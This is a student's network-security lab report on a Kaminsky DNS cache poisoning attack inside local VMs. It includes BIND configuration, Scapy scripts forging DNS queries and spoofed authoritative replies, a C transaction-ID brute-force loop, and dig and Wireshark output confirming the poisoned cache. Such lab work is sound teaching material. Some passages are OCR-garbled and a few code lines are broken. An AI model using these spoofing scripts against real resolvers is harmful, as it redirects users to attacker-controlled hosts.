
Lab3 Report

2021 02 22 23:16

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environment setup
3 local ubuntu 16.04 VMs

set local ip and hostname to match the lab handout setup



as the 10.0.2 subnet is for local only, I added another network interface per handout for NAT

the following is the ip addresses for both vmnet and NAT:

User

10.0.2.6

Server

10.0.2.7

Attacker

10.0.2.8

task1

configure user vm

sudo nano /etc/resolvconf/resolv.conf.d/head

nameserver 10.0.2.7

ubuntu@User

2021-02-22 07:33:20

sudo nano /etc/resolvconf/resolv.conf.d/head ubuntu@User ~ 2021-02-22 07:33:46 sudo resolvconf -u

after task2 below is configured properly (dns server is set up), the following dig command is run: dig sutd.edu.sg

and the output is following:

and the output is rollowing	<u>5</u> .			
;; AUTHORITY SECTION:				
sutd.edu.sg.	3425	IN	NS	secd
ns2.starhub.net.sg.	2.425	TNI	NC	
sutd.edu.sg.	3425	IN	NS	dnss
ec3.singnet.com.sg. sutd.edu.sg.	3425	IN	NS	dnss
ec2.singnet.com.sg.	3423	TIV	No	uliss
sutd.edu.sg.	3425	IN	NS	dnss
ec1.singnet.com.sg.				
;; ADDITIONAL SECTION:				
dnssec1.singnet.COM.sg.	3426	IN	Α	165.
21.83.11	2426	TNI	A A A A	2001
<pre>dnssec1.singnet.COM.sg. :c20:18:a::36</pre>	3420	IN	AAAA	2001
dnssec2.singnet.COM.sg.	35	IN	Α	165.
21.100.11				
<pre>dnssec3.singnet.COM.sg.</pre>	3426	IN	Α	165.
21.100.11				
dnssec3.singnet.COM.sg.	3426	IN	AAAA	2001
:c20:10:a::37	126	TM	٨	202
secdns2.starhub.net.sg. 116.254.150	420	IN	Α	203.
secdns2.starhub.net.sg.	426	IN	Α	203.
116.25.78	0			
<pre>secdns2.starhub.net.sg.</pre>	426	IN	AAAA	2406
:3000::203:116:25:4e				
;; Query time: 25 msec	10 0 2 7	\		
;; SERVER: 10.0.2.7#53(;; WHEN: Mon Feb 22 23:				
;; WHEN: Mon Feb 22 23:	37.23 F3	1 2021		

```
,, WOG SIZE TOVU. 364
```

on the server section, the ip address is 10.0.2.7, which corresponds to the local dns server set up.

```
task2
configure server vm

# install bind9
sudo apt install bind9 -y

# config files
/etc/bind/named.conf
/etc/bind/named.conf.options

modify accordingly
sudo nano /etc/bind/named.conf
```

```
GNU nano 2.5.File: ...bind/named.conf Modified

// This is the primary configuration file for the$

//
// Please read /usr/share/doc/bind9/README.Debian$

// structure of BIND configuration files in Debia$

// this configuration file.

//
// If you are just adding zones, please do that i$

include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";

zone "attacker32.com" {
    type forward;
    forwarders {
        10.0.2.8;
    };
};
```

sudo nano /etc/bind/named.conf.options

GNU nano 2.5.File:conf.options

```
options {
        directory "/var/cache/bind";
        dump-file "/var/cache/bind/dump.db";
        // If there is a firewall between you a$
        // to talk to, you may need to fix the
        // ports to talk. See http://www.kb.ce$
        // If your ISP provided one or more IP
        // nameservers, you probably want to us$
        // Uncomment the following block, and i$
        // the all-0's placeholder.
        // forwarders {
                0.0.0.0;
        // If BIND logs error messages about th$
        // you will need to update your keys.
        # dnssec-validation auto;
        dnssec-enable no;
        query-source port 33333;
        auth-nxdomain no; # conform to RFC10$
        listen-on-v6 { any; };
# restart bind9 server
sudo service bind9 restart
task3
configure attacker vm
# install bind9
sudo apt install bind9 -y
```

rsync zone files to attacker
rss /Users/ALEX/Documents/Term\ 7/50.020\ Network\ Security/lab/
ubuntu@10.0.2.8:~/lab/

copy those files to the specified folder
sudo cp ~/lab/lab3/attacker32.com.zone /etc/bind
sudo cp ~/lab/lab3/example.com.zone /etc/bind

change config accordingly
sudo nano /etc/bind/named.conf

restart bind9 server
sudo service bind9 restart

task4
the following command was run on User's vm
dig ns.attacker32.com

```
ubuntu@User
dig ns.attacker32.com

; <<>> DiG 9.10.3-P4-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 47184
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 13, ADDITIONAL: 27

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;ns.attacker32.com. IN A

;; ANSWER SECTION:
ns.attacker32.com. 257611 IN A 10.0.2.9</pre>
```

from the answer section, it points ns.attacker32.com to 10.0.2.9, which aligns with attacker32.com.zone, that specified the following:

ns IN A 10.0.2.9

hence, it shows that the DNS server (10.0.2.7) correctly forwards attacker32.com domain to be resolved by 10.0.2.8, which is the attacker's VM. it also shows that attacker's zone file is working correctly.

since in task2, DNS server forwards any query for attacker32.com to 10.0.2.8. however, in this answer section, it suggests that the attacker's nameserver should be 10.0.2.9. given that there

is only 3 vms: User (10.0.2.6), Server (10.0.2.7), and Attacker (10.0.2.8), another VM is set up to be Attacker's NS (10.0.2.9), with similar setup as Attacker per task3

the following command was run on User VM dig @ns.attacker32.com www.example.com

```
ubuntu@User > ~
dig @ns.attacker32.com www.example.com
 <<>> DiG 9.10.3-P4-Ubuntu <<>> @ns.attacker32.com www.example.com
 (1 server found)
 global options: +cmd
 Got answer:
 ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 41135
; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2
; OPT PSEUDOSECTION:
 EDNS: version: 0, flags:; udp: 4096
 ; QUESTION SECTION:
www.example.com.
                                ΙN
 ; ANSWER SECTION:
ww.example.com.
                       259200 IN
;; AUTHORITY SECTION:
example.com.
                        259200 IN
                                        NS
                                                 ns.attacker32.com.
;; ADDITIONAL SECTION:
                        259200 IN
ns.attacker32.com.
                                                 10.0.2.9
; Query time: 0 msec
; SERVER: 10.0.2.9#53(10.0.2.9)
; WHEN: Tue Feb 23 00:52:47 PST 2021
;; MSG SIZE rcvd: 104
```

firstly, from server section, it shows that the query is answer by 10.0.2.9, which is the attacker's NS. this shows that ns.attacker32.com is cached to 10.0.2.9.

in the answer section, www.example.com points to 1.2.3.5, which corresponds to the record specified in example.com.zone:

www IN A 1.2.3.5

this shows that the attacker's as is configured properly.

this shows that the attacker's ns is configured properly, that it is able to answer queries regarding example.com

attack task task4 construct dns request the code is following:

```
from scapy.all import *
Qdsec = DNSQR(qname='www.example.com')
dns = DNS(id=\theta x AAAA,
            qr=0,
            qdcount=1,
            ancount=0,
            nscount=0,
            arcount=0,
            qd=Qdsec)
ip = IP(dst='10.0.2.7', src='10.0.2.6')
udp = UDP(dport=53, sport=45000, chksum=0)
spoofed_packet = ip / udp / dns
spoofed_packet.show()
send(spoofed_packet)
fields of interest:
query name is set to <a href="www.example.com">www.example.com</a>
IP source is set to User's: 10.0.2.6
IP dst is set to DNS Srever: 10.0.2.7, to trigger the server to
reply to the query
UDP dport is set to 53, the standard dns port
UDP sport can be any, here, it is set to 45000
the attacker sends out spoofed dns query packet:
 ubuntu@Attacker ~/lab
                        master
 sudo /usr/bin/python3 /home/ubuntu/lab/lab3/4 dns request.py
###[ IP ]###
  version = 4
  ihl
          = None
```

 $= 0 \times 0$

= None

tos len

id flags

```
frag
            = 64
 ttl
           = udp
 proto
 chksum
            = None
            = 10.0.2.6
            = 10.0.2.7
 dst
  \options
###[ UDP ]###
               = 45000
     sport
     dport
               = domain
     len
               = None
     chksum
###[ DNS ]###
        id
                  = 43690
                  = 0
        qr
                  = QUERY
        opcode
                  = 0
        aa
                  = 0
        tc
        rd
        ra
        Z
                  = 0
                  = 0
        ad
        cd
                  = ok
        rcode
        qdcount
                  = 0
        ancount
                  = 0
        nscount
                  = 0
        arcount
        \ad
          ###[ DNS Question Record ]###
                   = 'www.example.com'
            qname
            qtype
                      = IN
            qclass
                  = None
        an
                  = None
        ns
                  = None
        ar
Sent 1 packets
```

wireshark observation

```
6459 329.711653 10.0.2.6 10.0.2.7 Standard query Oxaaaa A www.attacker32.com
6460 329.712161 10.0.2.7 10.0.2.6 Standard query response Oxaaaa A www.attacker32.com A 10.0.2.8 NS l.gtld-servers.net NS b.gtld-server...
```

here it shows 2 packets

the first packet is the spoofed packet sent by the attacker, which is spoofed to be from 10.0.2.6 (User). the query address is www.example.com

the server quickly sends out a reply containing dns records for www.example.com, which is directed back to the spoofed sender 10.0.2.6

this shows that the spoofed dns request is successful

task5 construct dns reply the code is following:

```
#!/usr/bin/python3
from scapy.all import *
name = 'abcde.example.com'
domain = 'example.com'
ns = 'ns.attacker32.com'
Qdsec = DNSQR(qname=name)
Anssec = DNSRR(rrname=name, type='A', rdata='1.2.3.4', ttl=259200)
NSsec = DNSRR(rrname=domain, type='NS', rdata=ns, ttl=259200)
dns = DNS(id=\theta x AAAA)
          aa=1,
          rd=1,
          qr=1,
          qdcount=1,
          ancount=1,
         nscount=1,
          arcount=0,
          qd=Qdsec,
          an=Anssec,
          ns=NSsec)
ip = IP(dst='10.0.2.7', src='199.43.135.53')
udp = UDP(dport=33333, sport=53, chksum=0)
spoofed_packet = ip / udp / dns
spoofed_packet.show()
send(spoofed_packet)
#!/usr/bin/python3
from scapy.all import *
name = 'abcde.example.com'
domain = 'example.com'
ns = 'ns.attacker32.com'
Qdsec = DNSQR(qname=name)
```

```
NSsec = DNSRR(rrname=domain, type='NS', rdata=ns, ttl=259200)
dns = DNS(id=0xAAAA)
          aa=1,
          rd=1,
           qr=1,
          qdcount=1,
          ancount=1,
          nscount=1,
          arcount=0,
          qd=Qdsec,
          an=Anssec,
          ns=NSsec)
ip = IP(dst='10.0.2.7', src='199.7.83.42')
udp = UDP(dport=33333, sport=53, chksum=0)
spoofed_packet = ip / udp / dns
spoofed_packet.show()
send(spoofed packet)
fields of interest:
query name is set to www.example.com
domain is set to example.com
ns is set to ns.attacker32.com, to be cached
IP source is set to: 199.43.135.53, which is the actual ip if
```

```
IP source is set to: 199.43.135.53, which is the actual ip if the server that replies the dns query to the server:

373 16.095196 199.43.135.53 10.0.2.7 Standard query response 0xd94b A www.example.com A 93.184.216.34 RRSIG OPT

IP dst is set to DNS Srever: 10.0.2.7, to reply to dns server's query

UDP sport is set to 53, the standard dns port

UDP dport of the server is set to 33333, as in task3
```

the attacker sends out spoofed dns reply packet:

```
ubuntu@Attacker ▶ ~/lab/lab3   / master ●
sudo /usr/bin/python3 /home/ubuntu/lab/lab3/5_dns_reply.py
###[ IP ]###
 version
 ihl
            = None
 tos
            = 0 \times 0
 len
            = None
 id
 flags
            = 0
 frag
            = 64
 ttl
```

```
chksum = None
src = 199
  src = 199.43.135.53
dst = 10.0.2.7
\options \
###[ UDP ]###
     sport = domain
dport = 33333
len = None
chksum = 0x0
###[ DNS ]###
         id = 43690
qr = 1
opcode = QUERY
aa = 1
                      = 0
          rd
                      = 0
          ra
                      = 0
          ad
          cd
                     = 0
          rcode = ok
          qdcount = 1
          ancount = 1
          nscount = 1
          arcount
            |###[ DNS Question Record ]###
              qname = 'abcde.example.com'
qtype = A
             qclass
                           = IN
            |###[ DNS Resource Record ]###
              rrname = 'abcde.example.com'
type = A
rclass = IN
ttl = 259200
rdlen = None
rdata = 1.2.3.4
            |###[ DNS Resource Record ]###
              rrname = 'example.com'
type = NS
rclass = IN
ttl = 259200
                         = None
= 'ns.attacker32.com'
               rdlen
              rdata
                      = None
          ar
Sent 1 packets.
```

wireshark observation

3584 302.954028 199.43.135.53 10.0.2.7 Standard query response Oxaaaa A abcde.example.com A 1.2.3.4 NS ns.attacker32.com the packet is the spoofed packet sent by the attacker, which has

spoofed reply section contained fake nameserver responsible for example.com, which is ns.attacker32.com

this shows that the spoofed dns reply is successful

task6
code snippet

here, the name section of dns query and response is updated to replace the randomly generated 5-char string. this ensures that attacker can keep making spoofed dns query without worrying about caching effect, as any newly generated 5-char string will trigger a new dns query from the server side to find out ____.example.com

```
void send_dns_response(char *buffer, int pkt_size)
{
  for (unsigned short txid = 0; txid < 65535; txid++)
  {
    unsigned short txid_network_order;

    txid_network_order = htons(txid);
    memcpy(buffer + 28, &txid_network_order, 2);
    send_raw_packet(buffer, pkt_size);
  }
}</pre>
```

in this section, transaction_id (txid) is bruteforced from 0 to 65535, to guess the actual txid that will be sent by the actual example.com server. the ip packet is updated accordingly and the raw packet is sent

for each query, 65536 spoofed response is flooded to the local dns server

to launch the attacken.

to faulicii the attacker.

command: cd "/home/ubuntu/lab/lab3/" && gcc attack.c -o attack
&& sudo "/home/ubuntu/lab/lab3/"attack

attacker launch dns query and response attack

on server, check cache constantly with the script given, by dumping the cache and doing regular expression search,

the following result is found, and the attack is stopped

```
ubuntu@Server → ~/lab/lab3 → master ◆
./check_dns_cache.sh
ns.attacker32.com. 10778 \-AAAA ;-$NXRRSET
; attacker32.com. SOA ns.attacker32.com. admin.attacker32.com. 2008111001 28800 7200 2419200 86400
example.com. 172743 NS ns.attacker32.com.
; ns.attacker32.com [v4 TTL 1778] [v6 TTL 10778] [v4 success] [v6 nxrrset]
```

this shows that the attack is successful, as the dns server caches ns.attacker32.com as the nameserver for example.com, from one of the spoofed dns responses.

task7

from user vm, try to dig www.example.com and dig anticker32.com www.example.com

if the attack was successful, both commands should give the same output, as it the first command, even if the nameserver is not specified, it should point to ns.attacker32.com, as specified by the local dns server's cache

the following is the result

```
;; AUTHORITY SECTION:
example.com. 172728 IN NS ns.attacker32.com.

;; ADDITIONAL SECTION:
ns.attacker32.com. 259163 IN A 10.0.2.9

;; Query time: 1 msec
;; SERVER: 10.0.2.7#53(10.0.2.7)
;; WHEN: Tue Feb 23 02:32:57 PST 2021
;; MSG SIZE rcvd: 104
```

```
ubuntu@User > ~
dig @ns.attacker32.com www.example.com
 <<>> DiG 9.10.3-P4-Ubuntu <<>> @ns.attacker32.com www.example.com
 (1 server found)
 global options: +cmd
 Got answer:
->>HEADER<<- opcode: QUERY, status: NOERROR, id: 9666
flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2
; OPT PSEUDOSECTION:
 EDNS: version: 0, flags:; udp: 4096
 QUESTION SECTION:
 www.example.com.
; ANSWER SECTION:
                          259200 IN
                                                   1.2.3.5
 w.example.com.
 AUTHORITY SECTION:
xample.com.
                          259200 IN
                                                  ns.attacker32.com.
; ADDITIONAL SECTION:
                          259200 IN
                                                     10.0.2.9
s.attacker32.com.
 Query time: 0 msec
  SERVÉR: 10.0.2.9#53(10.0.2.9)
WHEN: Tue Feb 23 02:33:16 PST 2021
  MSG SIZE rcvd: 104
```

as expected, both results are same this confirms that the attack is successful

to further inspect the process, wireshark trace is captured the following are the packets when user executes dig

www.example.com

15 1.729946	10.0.2.6	10.0.2.7	Standard query 0xb520 A www.example.com OPT
16 1.730390	10.0.2.7	10.0.2.9	Standard query 0x8849 A www.example.com OPT
17 1.730674	10.0.2.9	10.0.2.7	Standard query response 0x8849 A www.example.com A 1.2.3.5 NS ns.attacker32.com A
18 1.730977	10.0.2.7	10.0.2.6	Standard query response 0xb520 A www.example.com A 1.2.3.5 NS ns.attacker32.com A

the following are the packets when user executes dig @ns.attacker32.com www.example.com

136 56.183126	10.0.2.6	10.0.2.7	Standard query 0xb11d A ns.attacker32.com
137 56.183208	10.0.2.6	10.0.2.7	Standard query 0x303b AAAA ns.attacker32.com
138 56.183574	10.0.2.7	10.0.2.6	Standard query response 0xb11d A ns.attacker32.com A 10.0.2.9 NS k.gtld-servers.net N.
139 56.183745	10.0.2.7	10.0.2.6	Standard query response 0x303b AAAA ns.attacker32.com SOA ns.attacker32.com
140 56.184354	10.0.2.6	10.0.2.9	Standard query 0x9688 A www.example.com OPT

as evident from the captures, local dns server query 10.0.2.9 to resolve www.example.com, regardless if ns is specified the reply points to 1.2.3.5, which is what is specified in example.com.zone in attacker's nameserver